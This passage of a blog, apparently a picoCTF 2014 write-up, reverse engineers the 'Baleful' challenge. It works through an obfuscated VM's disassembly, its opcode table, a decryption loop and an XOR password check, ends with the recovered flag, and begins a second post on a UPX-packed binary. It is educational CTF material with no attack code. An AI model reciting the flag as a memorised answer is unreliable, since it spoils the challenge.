.text:080497E8 movzx eax, byte_804C0C0[eax]
.text:080497EF movsx eax, al
.text:080497F2 mov [ebp+var_C], eax
.text:080497F5 mov eax, [ebp+var_C]
.text:080497F8 cmp eax, 1
.text:080497FB jz short loc_804985B
.text:080497FD cmp eax, 1
.text:08049800 jg short loc_804980B
.text:08049802 test eax, eax
.text:08049804 jz short loc_804981E
.text:08049806 jmp loc_80498E0
.text:0804980B ; ---------------------------------------------------------------------------
.text:0804980B
.text:0804980B loc_804980B: ; CODE XREF: sub_804898B+E75 j
.text:0804980B cmp eax, 2
.text:0804980E jz short loc_804988B
.text:08049810 cmp eax, 4
.text:08049813 jz loc_80498BB
.text:08049819 jmp loc_80498E0
.text:0804981E ; ---------------------------------------------------------------------------
.text:0804981E
.text:0804981E loc_804981E: ; CODE XREF: sub_804898B+E79 j
.text:0804981E mov eax, [ebp+ipos]
.text:08049821 add eax, 2
.text:08049824 movzx eax, byte_804C0C0[eax]
.text:0804982B movsx eax, al
.text:0804982E mov eax, [ebp+eax*4+regs]
.text:08049835 mov [ebp+var_20], eax
.text:08049838 mov eax, [ebp+ipos]
.text:0804983B add eax, 3
.text:0804983E movzx eax, byte_804C0C0[eax]
.text:08049845 movsx eax, al
.text:08049848 mov eax, [ebp+eax*4+regs]
.text:0804984F mov [ebp+var_1C], eax
.text:08049852 add [ebp+ipos], 4
.text:08049856 jmp loc_80498E0
.text:0804985B ; ---------------------------------------------------------------------------
.text:0804985B
.text:0804985B loc_804985B: ; CODE XREF: sub_804898B+E70 j
.text:0804985B mov eax, [ebp+ipos]
.text:0804985E add eax, 2
.text:08049861 movzx eax, byte_804C0C0[eax]
.text:08049868 movsx eax, al
.text:0804986B mov eax, [ebp+eax*4+regs]
.text:08049872 mov [ebp+var_20], eax
.text:08049875 mov eax, [ebp+ipos]
.text:08049878 add eax, 3
.text:0804987B add eax, offset byte_804C0C0
.text:08049880 mov eax, [eax]
.text:08049882 mov [ebp+var_1C], eax
.text:08049885 add [ebp+ipos], 7
.text:08049889 jmp short loc_80498E0
.text:0804988B ; ---------------------------------------------------------------------------
.text:0804988B
.text:0804988B loc_804988B: ; CODE XREF: sub_804898B+E83 j
.text:0804988B mov eax, [ebp+ipos]
.text:0804988E add eax, 2
.text:08049891 add eax, offset byte_804C0C0
.text:08049896 mov eax, [eax]
.text:08049898 mov [ebp+var_20], eax
.text:0804989B mov eax, [ebp+ipos]
.text:0804989E add eax, 6
.text:080498A1 movzx eax, byte_804C0C0[eax]
.text:080498A8 movsx eax, al
.text:080498AB mov eax, [ebp+eax*4+regs]
.text:080498B2 mov [ebp+var_1C], eax
.text:080498B5 add [ebp+ipos], 7
.text:080498B9 jmp short loc_80498E0
.text:080498BB ; ---------------------------------------------------------------------------
.text:080498BB
.text:080498BB loc_80498BB: ; CODE XREF: sub_804898B+E88 j
.text:080498BB mov eax, [ebp+ipos]
.text:080498BE add eax, 2
.text:080498C1 add eax, offset byte_804C0C0
.text:080498C6 mov eax, [eax]
.text:080498C8 mov [ebp+var_20], eax
.text:080498CB mov eax, [ebp+ipos]
.text:080498CE add eax, 6
.text:080498D1 add eax, offset byte_804C0C0
.text:080498D6 mov eax, [eax]
.text:080498D8 mov [ebp+var_1C], eax
.text:080498DB add [ebp+ipos], 0Ah
.text:080498DF nop
.text:080498E0
.text:080498E0 loc_80498E0: ; CODE XREF: sub_804898B+E7B j
.text:080498E0 ; sub_804898B+E8E j ...
.text:080498E0 mov eax, [ebp+var_1C]
.text:080498E3 mov edx, [ebp+var_20]
.text:080498E6 and eax, edx
.text:080498E8 mov [ebp+cr], eax
.text:080498EB jmp loc_8049C67
</code></pre>
<br />
It looks like an incredibly complex instruction to begin with. There are multiple code paths depending on the second byte, but now even more than ever. However, we do know that all code paths ultimately lead to 0x080498e0. That local routine does a bitwise AND of two arguments and puts the result in CR. This is exactly what the x86 TEST instruction does, so we're probably looking at the same thing. As for all the cases, it looks daunting but just requires careful investigation. The cases just specify the format of the two source operands:<br />
<ul>
<li>0 - Register-register</li>
<li>1 - Register-constant</li>
<li>2 - Constant-register</li>
<li>4 - Constant-constant</li>
</ul>
<div>
Knowing how that big set of cases works makes practically every remaining function easy to reverse engineer. 0x17 is pretty much the same, but it just performs a subtraction at the end rather than AND, which is what CMP does. Almost all of the arithmetic instructions also work like this. IDIV, the division instruction, has a bit of weirdness, though. It needs two destination registers, one for the quotient and one for the remainder. This initially tripped me up a little.</div>
<div>
<br /></div>
<div>
There are, however, two other weird instructions, 0x1b and 0x1c. They don't immediately look like anything in the x86 instruction set, so we'll have to investigate them more closely.</div>
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08049AEC loc_8049AEC: ; CODE XREF: sub_804898B+C0 j
.text:08049AEC ; DATA XREF: .rodata:vm_instrs o
.text:08049AEC mov eax, [ebp+ipos] ; jumptable 08048A4B case 27
.text:08049AEF add eax, 1
.text:08049AF2 movzx eax, byte_804C0C0[eax]
.text:08049AF9 movsx eax, al
.text:08049AFC mov [ebp+var_24], eax
.text:08049AFF mov eax, [ebp+ipos]
.text:08049B02 add eax, 2
.text:08049B05 movzx eax, byte_804C0C0[eax]
.text:08049B0C movsx eax, al
.text:08049B0F mov [ebp+var_20], eax
.text:08049B12 add [ebp+ipos], 3
.text:08049B16 mov eax, [ebp+var_20]
.text:08049B19 mov eax, [ebp+eax*4+regs]
.text:08049B20 add eax, offset byte_804C0C0
.text:08049B25 mov edx, [eax]
.text:08049B27 mov eax, [ebp+var_24]
.text:08049B2A mov [ebp+eax*4+regs], edx
.text:08049B31 mov eax, [ebp+var_24]
.text:08049B34 mov eax, [ebp+eax*4+regs]
.text:08049B3B mov [ebp+cr], eax
.text:08049B3E jmp loc_8049C67
.text:08049B43 ; ---------------------------------------------------------------------------
.text:08049B43
.text:08049B43 loc_8049B43: ; CODE XREF: sub_804898B+C0 j
.text:08049B43 ; DATA XREF: .rodata:vm_instrs o
.text:08049B43 mov eax, [ebp+ipos] ; jumptable 08048A4B case 28
.text:08049B46 add eax, 1
.text:08049B49 movzx eax, byte_804C0C0[eax]
.text:08049B50 movsx eax, al
.text:08049B53 mov [ebp+var_24], eax
.text:08049B56 mov eax, [ebp+ipos]
.text:08049B59 add eax, 2
.text:08049B5C movzx eax, byte_804C0C0[eax]
.text:08049B63 movsx eax, al
.text:08049B66 mov [ebp+var_20], eax
.text:08049B69 add [ebp+ipos], 3
.text:08049B6D mov eax, [ebp+var_24]
.text:08049B70 mov eax, [ebp+eax*4+regs]
.text:08049B77 add eax, offset byte_804C0C0
.text:08049B7C mov edx, [ebp+var_20]
.text:08049B7F mov edx, [ebp+edx*4+regs]
.text:08049B86 mov [eax], edx
.text:08049B88 mov eax, [eax]
.text:08049B8A mov [ebp+cr], eax
.text:08049B8D jmp loc_8049C67
</code></pre>
<br />
Both are similar, let's approach 0x1b first. The second and third bytes are both used for register accesses. It reads the data of the register specified by the third byte. This data is then used as an offset into the bytecode area, and the data at that offset is read. Finally, it writes the data into the register specified by the second byte. It might not be obvious at first, but this is just a memory read instruction. It reads memory from the address specified in the source register, and puts that data in the destination register. 0x1c does the same thing in reverse. I decided to call them mem2reg and reg2mem, respectively. They're really just RISC-like load and store instructions.<br />
<br />
We could continue and reverse engineer all of the instructions, but it would get really repetitive. The process is basically the same for all of the VM instructions. If we manage to reverse engineer all 33 instructions, we get this list:<br />
<ul>
<li>0x00: nop</li>
<li>0x01: ret</li>
<li>0x02: add (3 arguments; destination and two source)</li>
<li>0x03: sub (3 arguments; destination and two source)</li>
<li>0x04: imul (3 arguments; destination and two source)</li>
<li>0x05: idiv (4 arguments; quotient/remainder destinations and two source)</li>
<li>0x06: xor (3 arguments; destination and two source)</li>
<li>0x07: neg (2 arguments; destination and source)</li>
<li>0x08: not (2 arguments; destination and source)</li>
<li>0x09: and (3 arguments; destination and two source)</li>
<li>0x0a: or (3 arguments; destination and two source)</li>
<li>0x0b: logicnot (2 arguments; destination and source)</li>
<li>0x0c: shl (3 arguments; destination and two source)</li>
<li>0x0d: sar (3 arguments; destination and two source)</li>
<li>0x0e: jmp (1 argument; offset to go to)</li>
<li>0x0f: call (1 argument; offset to go to)</li>
<li>0x10: jz (1 argument; offset to go to)</li>
<li>0x11: js (1 argument; offset to go to)</li>
<li>0x12: jle (1 argument; offset to go to)</li>
<li>0x13: jg (1 argument; offset to go to)</li>
<li>0x14: jns (1 argument; offset to go to)</li>
<li>0x15: jnz (1 argument; offset to go to)</li>
<li>0x16: test (2 arguments; two operands)</li>
<li>0x17: cmp (2 arguments; two operands)</li>
<li>0x18: mov (2 arguments; destination and source)</li>
<li>0x19: inc (1 argument; is both destination and source)</li>
<li>0x1a: dec (1 argument; is both destination and source)</li>
<li>0x1b: mem2reg (2 arguments; destination and source <b>registers</b>)</li>
<li>0x1c: reg2mem (2 arguments; destination and source <b>registers</b>)</li>
<li>0x1d: hlt</li>
<li>0x1e: push (1 argument; source)</li>
<li>0x1f: pop (1 argument; destination register)</li>
<li>0x20: io (1 argument; function code)</li>
</ul>
<div>
With all these instructions figured out, we can write a short Python script that disassembles the Baleful bytecode. I won't bother documenting that here; writing the disassembler is a fairly easy and boring task. Something more interesting, though, is how we get access to the bytecode in the first place.<br />
<br />
Remember back in part 1, when I suspected that the bytecode was being encrypted or packed? I said this because the data looked random, and taking a new look at the VM with our recent discoveries in mind reveals that it's not valid bytecode at all. In fact, we can prove the hypothesis correct by comparing what I dumped from 0x0804db39 in memory to what's in the binary:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) x/16xb 0x0804db39
0x804db39: 0x18 0x01 0x00 0x6c 0x00 0x00 0x00 0x0f
0x804db41: 0x3f 0x10 0x00 0x00 0x18 0x01 0x00 0x65
(gdb)
</code></pre>
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .data:0804DB39 db 19h
.data:0804DB3A db 43h ; C
.data:0804DB3B db 0CFh ; -
.data:0804DB3C db 18h
.data:0804DB3D db 1
.data:0804DB3E db 42h ; B
.data:0804DB3F db 0CFh ; -
.data:0804DB40 db 7Bh ; {
.data:0804DB41 db 3Eh ; >
.data:0804DB42 db 52h ; R
.data:0804DB43 db 0CFh ; -
.data:0804DB44 db 74h ; t
.data:0804DB45 db 19h
.data:0804DB46 db 43h ; C
.data:0804DB47 db 0CFh ; -
.data:0804DB48 db 11h
</code></pre>
<br />
They're not even remotely similar. <b>Something</b> is definitely happening to the bytecode. It's likely that what's in memory at the time is valid, so let's just dump that to a file from GDB:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) dump memory memdump.bin 0x0804c0c0 0x0804e000
</code></pre>
<br />
If we look at memdump.bin, it's much different. Rather than random garbage, we get something that appears to be proper bytecode. If we try disassembling it, it results in something sane, which is also a good sign. Now for all our reverse engineering efforts, we're rewarded with...another binary to reverse engineer. Oh well, c'est la vie (not really).<br />
<br />
The ASM code is interesting. It actually has many elements of RISC architectures, like the larger number of registers and dedicated memory access instructions. The ASM generated is quite big, though not as big is Baleful. Let's start at the beginning of the bytecode.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 0x1000: mov r0, 0x103a
0x1007: mov r1, 0x1edb
0x100e: mov r3, r0
0x1012: mov r5, 0x174cf42
0x1019: mem2reg r4, r3
0x101c: xor r4, r4, r5
0x1021: reg2mem r3, r4
0x1024: add r3, r3, 0x4
0x102c: cmp r1, r3
0x1030: jns 0x1019
0x1035: jmp 0x103a
</code></pre>
<br />
This function, right at the beginning is interesting. Starting at address 0x103a, it reads 4-bytes from memory, XORs them against a constant bitmask, and writes them back to the same spot. It doesn't step until it hits 0x1edb. The purpose of this code is easily apparent: it's decrypting the rest of the bytecode! This is solid proof that the decryption hypothesis was correct. After the decryption, it branches to 0x103a. which itself just goes to 0x1bc0.<br />
<br />
(Before going there, though, 0x103f has a bunch of I/O instructions, each one for a specific I/O function in the VM. It's helpful, but not strictly necessary, to give the ones we recognize names. In general, it's a good idea to break up blocks of code separated by RET instructions into separate functions.)<br />
<br />
0x1bc0 appears to be the main function of the bytecode program. It starts out with a call to 0x1a6d, which is just this code sequence:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 0x1a6d: mov r0, 0x50
0x1a74: call 0x103f
0x1a79: mov r0, 0x6c
0x1a80: call 0x103f
0x1a85: mov r0, 0x65
0x1a8c: call 0x103f
0x1a91: mov r0, 0x61
0x1a98: call 0x103f
0x1a9d: mov r0, 0x73
0x1aa4: call 0x103f
0x1aa9: mov r0, 0x65
0x1ab0: call 0x103f
0x1ab5: mov r0, 0x20
0x1abc: call 0x103f
0x1ac1: mov r0, 0x65
0x1ac8: call 0x103f
0x1acd: mov r0, 0x6e
0x1ad4: call 0x103f
0x1ad9: mov r0, 0x74
0x1ae0: call 0x103f
0x1ae5: mov r0, 0x65
0x1aec: call 0x103f
0x1af1: mov r0, 0x72
0x1af8: call 0x103f
0x1afd: mov r0, 0x20
0x1b04: call 0x103f
0x1b09: mov r0, 0x79
0x1b10: call 0x103f
0x1b15: mov r0, 0x6f
0x1b1c: call 0x103f
0x1b21: mov r0, 0x75
0x1b28: call 0x103f
0x1b2d: mov r0, 0x72
0x1b34: call 0x103f
0x1b39: mov r0, 0x20
0x1b40: call 0x103f
0x1b45: mov r0, 0x70
0x1b4c: call 0x103f
0x1b51: mov r0, 0x61
0x1b58: call 0x103f
0x1b5d: mov r0, 0x73
0x1b64: call 0x103f
0x1b69: mov r0, 0x73
0x1b70: call 0x103f
0x1b75: mov r0, 0x77
0x1b7c: call 0x103f
0x1b81: mov r0, 0x6f
0x1b88: call 0x103f
0x1b8d: mov r0, 0x72
0x1b94: call 0x103f
0x1b99: mov r0, 0x64
0x1ba0: call 0x103f
0x1ba5: mov r0, 0x3a
0x1bac: call 0x103f
0x1bb1: mov r0, 0x20
0x1bb8: call 0x103f
0x1bbd: ret
0x1bbe: nop
0x1bbf: nop
</code></pre>
<br />
It's a series of instructions all doing the same thing: loading a byte into r0 and calling 0x103f. 0x103f contains the call to print_char using the I/O instruction, so what's getting loaded into r0 is then printed. If we treat all of these bytes as ASCII characters and try to reconstruct the message, it turns out to be "Please enter your password: ", meaning 0x1a6d prints the password prompt.<br />
<br />
Once control returns to main, main loads 0x04 into r0, 0x1e into r1, and calls 0x1080. What does 0x1080 do?<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 0x1080: push r30
0x1083: push r29
0x1086: mov r30, r1
0x108a: imul r0, r30, r0
0x108f: add r0, r0, 0x8
0x1097: mov r29, r0
0x109b: io 17
0x109d: test r0, r0
0x10a1: jz 0x10c2
0x10a6: mov r4, r29
0x10aa: sar r4, r4, 0x3
0x10b2: reg2mem r0, r4
0x10b5: add r0, r0, 0x8
0x10bd: pop r29
0x10bf: pop r30
0x10c1: ret
0x10c2: nop
</code></pre>
<br />
It multiplies r1 (which is 0x1e) by r0 (which is 0x04), adds 8 to it, and stores it in r0. That value becomes an argument to I/O function 0x11. The function then ensures that the I/O function didn't return 0 and writes the block size to the beginning of the returned memory. Finally, it increments the address by 8 and returns it. Although I didn't know for sure what 0x1080 was doing, it reminded me a lot of malloc. It makes a request to the VM which returns a memory address, and then writes some extra data to the beginning of the buffer (which the user does not see), like heap block headers. I assumed it was something like malloc(block_size, num_blocks), which turned out to be correct. You can also confirm this by looking at Baleful, but aren't we tired of that by this point?<br />
<br />
So main is allocating an array of 0x1e 4-byte entries. We don't know what it's for at this point. The returned buffer is saved in r11. main then loads 0 into r9 and jumps to 0x1d66.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 0x1d5e: add r9, r9, 0x1
0x1d66: mov r30, r9
0x1d6a: mov r0, 0x1e
0x1d71: cmp r30, r0
0x1d75: js 0x1bfb
0x1d7a: call 0x104b
0x1d7f: mov r1, r0
0x1d83: mov r30, r1
0x1d87: mov r0, 0xa
0x1d8e: cmp r30, r0
0x1d92: jnz 0x1d9c
0x1d97: jmp 0x1ebe
</code></pre>
<br />
We actually start out in the second instruction of an existing function, which is interesting. Anyway, it first checks r9 to make sure it hasn't exceeded 0x1e. If it hasn't exceeded 0x1e, it jumps to 0x1bfb, which we'll look at in a second. If it has exceeded 0x1e, it makes a call to 0x104b, which calls input_char using the I/O instruction. Then it checks the value of the character, and if it's anything besides 0xa (newline, indicating end of input), it prints "Sorry, wrong password!" and terminates. What this appears to be is a password length check. 0x1e is likely the password length, and if we enter more than 0x1e characters (not counting newline), the password is automatically wrong.<br />
<br />
That's only if we fail the check, though. If the check succeeds, the function jumps to 0x1bfb, which is shown below.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 0x1bfb: mov r30, r9
0x1bff: imul r30, r30, 0x4
0x1c07: mov r0, r11
0x1c0b: add r30, r30, r0
0x1c10: mov r10, r30
0x1c14: call 0x104b
0x1c19: mov r1, r0
0x1c1d: reg2mem r10, r1
0x1c20: mem2reg r1, r10
0x1c23: mov r30, r1
0x1c27: mov r0, 0xa
0x1c2e: cmp r30, r0
0x1c32: jz 0x1c3c
0x1c37: jmp 0x1d5e
</code></pre>
<br />
Recall that r9 contains 0 at this point, and r11 has the 0x1e*4-byte array we allocated. It uses r9 as an index into the array and puts that in r10. Then it makes a call to 0x104b, which we already know reads a character from stdin. This character is returned in r0, and gets written to the array spot that we put in r10. So the buffer we allocated is being used to store the password that the user entered. After storing it in the buffer, it once again checks if the character is a newline. In this case, receiving a newline means that the password is <b>less than</b> 0x1e characters, further supporting the idea that 0x1e is the password length. Finally, it goes back to 0x1d5e, which increments r9 by one and repeats the loop.<br />
<br />
We've now identified the loop which reads the password from the user. Now what happens after reading it? Assuming the length is correct, control proceeds to 0x1ebe:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 0x1ebe: mov r0, r11
0x1ec2: call 0x12a9
</code></pre>
<br />
Which simply puts the password buffer in r0 and calls 0x12a9. Since we already have the password, the only thing left to do is check it. That's probably what 0x12a9 is for.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 0x12a9: push r9
0x12ac: push r10
0x12af: mov r10, r0 # r10 = Password buffer
0x12b3: mov r1, 0x1e
0x12ba: mov r0, 0x4
0x12c1: call 0x1080
0x12c6: mov r9, r0 # r9 = Secondary password buffer?
0x12ca: mov r1, 0x4
0x12d1: mov r0, 0x4
0x12d8: call 0x1080
0x12dd: mov r5, r0 # r5 = r0 = Unknown 16-byte buffer
</code></pre>
<br />
0x12a9 starts out by allocating two new buffers. Both have an unknown purpose, though one of them is the same length as the password buffer, so it's probably related. Afterwards, we just have a bunch of code which fills the buffers up. It's a huge amount of code, so I'm not listing it all here. I'll just put some C code that shows the buffer contents:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> u32 buf1[30] = {0x8d, 0x6f, 0x00, 0x24, 0x98, 0x7c, 0x10, 0x10, 0x9c, 0x60, 0x07, 0x10, 0x8b, 0x63, 0x10, 0x9c, 0x60, 0x07, 0x10, 0x85, 0x61, 0x11, 0x3c, 0xa2, 0x61, 0x0b, 0x10, 0x90, 0x77};
u32 buf2[4] = {0xfd, 0x0e, 0x63, 0x4f};
</code></pre>
<br />
After the buffers are filled up, we finally get to the meat of the function, which actually checks the password. Both buffers are involved in an interesting way.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> true_check:
0x17b5: mov r3, 0x0
0x17bc: jmp 0x17c6
0x17c1: jmp 0x1878
0x17c6: mov r1, 0x0
0x17cd: mov r2, 0x0
0x17d4: jmp 0x1860
actual_check:
0x17d9: mov r30, r2
0x17dd: imul r30, r30, 0x4
0x17e5: mov r0, r10 # r0 = Password buffer
0x17e9: add r30, r30, r0
0x17ee: mov r3, r30
0x17f2: mem2reg r4, r3 # r4 = password[index]
0x17f5: idiv r0, r3, r2, 4 # r3 = index % 4
0x17fd: nop
0x17fe: mov r30, r3
0x1802: imul r30, r30, 0x4
0x180a: mov r0, r5 # r0 = 16-byte buffer
0x180e: add r30, r30, r0
0x1813: mov r3, r30
0x1817: mem2reg r3, r3 # r3 = buf2[index % 4]
0x181a: xor r4, r4, r3 # r4 = password[index] ^ buf2[index % 4]
0x181f: mov r30, r2
0x1823: imul r30, r30, 0x4
0x182b: mov r0, r9 # r0 = Other buffer
0x182f: add r30, r30, r0
0x1834: mov r3, r30
0x1838: mem2reg r3, r3 # r3 = buf1[index]
0x183b: mov r30, r4
0x183f: mov r0, r3
0x1843: cmp r30, r0 # password[index] ^ buf2[index % 4] == buf1[index]
0x1847: jnz 0x1851
0x184c: jmp 0x1858
0x1851: mov r1, 0x1
0x1858: add r2, r2, 0x1
0x1860: mov r3, r1
0x1864: mov r30, r2
0x1868: mov r0, 0x1e
0x186f: cmp r30, r0
0x1873: js 0x17d9
end_of_check:
0x1878: test r3, r3
0x187c: jnz 0x1952 (check_failed)
</code></pre>
<br />
r1, r2, and r3 are set to 0 before jumping to 0x1860. It seems r2 is being used to keep track of the current index, since once it gets past 0x1e, the check ends. r3 seems to be a status indicator as to whether the check succeeded. If it's anything put 0, it prints the "Sorry, wrong password!" message, but if it is 0, it prints "Congratulations!" Until r2 hits 0x1e, it's looping through 0x17d9, which has to be what's actually checking the contents of the password.<br />
<br />
It uses the index to grab the current character of the password and put it in r4. Then it does something weird: idiv r0, r3, r2, 4. idiv is one of the more complicated instructions done by the VM. It has two different destination registers, one for the quotient of division and one for the remainder. r0, the quotient, gets trashed immediately afterwards, so the program only cares about the remainder in r3. r3 would then equal index % 4.<br />
<br />
Why is it computing the index modulo 4? Immediately after this division, it uses index % 4 as an index into that 16-byte buffer. Remember that the buffer contained 4 entries, so this remainder division is making sure we don't go past that buffer. In essence, it rotates through that 16-byte buffer depending on our index in the password. What's read from that buffer is stored in r3.<br />
<br />
Finally, it XORs the character we entered with the value read from the 16-byte buffer. It then compares it against the corresponding byte in the other buffer, the one that's the same size as the password buffer. The loop continues either way, but if they're not equal, it ends up putting 1 in r3. This, as we found above, causes the check to ultimately fail and print the "Sorry, wrong password!" message. All the checks have to succeed for the "Congratulations!" message to print.<br />
<br />
We now have everything we need to reconstruct the password. buf1 contains the password character we need, XORed with the correct mask for that character's index. XORs can be easily inverted by XORing again with the same mask, so we just need to do that for every character in buf1 and we'll get back the original password. Once this is done, we end up getting the flag <b>packers_and_vms_and_xors_oh_my</b>!<br />
<br />
This probably concludes the picoCTF 2014 writeups I'll be doing on this blog. Thanks to the picoCTF team for an amazing set of challenges, especially Baleful, which was probably my favorite of them all. You guys are amazing, and I can't wait to play picoCTF again next year!</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1645045780017662151.post-8871388579455723542014-12-05T00:19:00.000-03:002016-04-03T00:27:48.484-04:00picoCTF 2014: Baleful (re200) Part 1Baleful is the last of the five 200 point master challenges, and the final challenge in picoCTF. It gives us very little information to start off with, simply giving us a "twisted" binary and telling us to get it to accept a password. Since we're just given a binary, there's definitely a reverse engineering element, and like most reversing challenges, the password is probably the flag. Let's jump in!<br />
<br />
What happens if we execute Baleful? As expected, there's a password prompt which we have to get past:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:~$ ./baleful
Please enter your password: test
Sorry, wrong password!
pico59150@shell:~$
</code></pre>
<br />
The only obvious course of action is disassembling Baleful. Before we try to disassemble the binary, it's a good idea to get some basic information about it. Let's try seeing what sections it has:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:~$ readelf -S baleful
There are no sections in this file.
</code></pre>
<br />
Well, that's certainly odd. An ELF file with no sections, yet we can still run it. That seems pretty suspicious. If we view it in a hex editor, there are a few odd things. There appears to be another ELF header after the normal one, and the string "UPX" constantly appears. While there are a few other recognizable strings, there aren't very many. One string, however, is quite revealing:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved.
</code></pre>
<br />
So it appears this file is packed with <a href="http://upx.sourceforge.net/">UPX</a>, a common packer for executables. What executable packers do is take a program and compress it, while still allowing it to run normally. The program contains some stub code that decompresses the rest of the executable. Packing is often used by malware, but only to decrease the file size. It provides no obfuscation benefit, since we can easily unpack the file. Let's get UPX and do that:<br />
<br />
